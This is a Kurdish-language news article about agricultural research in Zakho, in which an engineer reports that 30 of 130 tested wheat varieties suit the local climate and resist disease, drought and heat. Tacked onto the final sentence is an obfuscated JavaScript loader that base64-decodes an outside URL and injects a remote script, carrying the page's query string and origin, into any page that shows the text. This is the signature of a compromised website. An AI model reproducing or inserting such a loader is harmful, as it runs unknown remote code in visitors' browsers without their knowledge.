ل زاخۆ 30 جۆرێن گەنمی بۆ چاندنێ د گونجاینە
ئەندازیارەكێ چاندنێ راگەهاند، مە د سالا دەربازبوی دا ل سنوورێ ئیدارا سەربەخۆیا زاخۆ ڤەكۆلینەكا زانستی بۆ 130 جۆرێن گەنمی ئەنجام دا بۆ وێ ئێكی كۆ ئەڤ گەنمێن بەرگریا نەساخیێ و كێم ئاڤیێ و گەرمێ بكەن جوتیارێن زاخۆ مفای ژێ وەربگرن، د وێ ڤەكۆلینێ دا بۆ مە دیار بوو، ژ وان 130 جۆران 30 جۆرە گەنمێن نانی گۆنجاینە بۆ سەقایێ زاخۆ و هاتینە دەست نیشان كرن.
ئەندازیار ئومێد سەعدی ئەندازیارێ چاندنێ و شەهرەزا د بوارێ تاقیگەها سایلۆیا زاخۆ بۆ رۆژناما ئەڤرۆ دیار كر، ل ئیدارا سەربەخۆیا زاخۆ 30 جۆرێن گەنمی گەلەك گۆنجاینە و باشن هەم بۆ چاندنێ كۆ جوتیار مفایی ژێ وەربگرن و هەم ژی بۆ بەرهەمئینان و بكارئینانێ ژی رێژا پرۆتینا وان یا باشە.
گۆت ژی: بۆ وەرزێ بهێت ئەڤ 30 جۆرە زۆربەیا وان دێ بەرهەڤ بن كۆ جوتیارێن زاخۆ بچینن، هەروەسا سالا دەربازبویی زۆربەیا وان 30 جۆران ل سنوورێ ئیدارا زاخۆ هاتبوو چاندن و ب شێوەكێ پراكتیكی ل دەف جوتیاران دیار بوو كۆ بەرهەمێ وان گەلەكێ باش بویی و بەرگریا نەخۆشیان كربوون.
دیار ژی كر، ئەو جورن گەنمی كۆ مە ڤەكۆلین ل سەر ئەنجام دابوو نە بەس گەنمێ سنوورێ ئیدارا زاخۆ بوون مە ل هەمی سەنتەرێن ڤەكولینان ل هەرێما كوردستانێ و عێراقێ كۆم كربوون.
ئاشكرا ژی كر، بۆ سالا بهێت ئەم دێ بەردەوام بین بۆ پاراستنا ڤان 30 جورێن گەنمی و ب شێوەیەكێ بەرفرەهتر دێ كار ل سەر كەین و ڤەكۆلینێن باش لسەر ئەنجام دەین بۆ وێ یەكێ جوتیارێن مە مفای ژێ وەربگرن و كارێ چاندنێ پێ بكەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
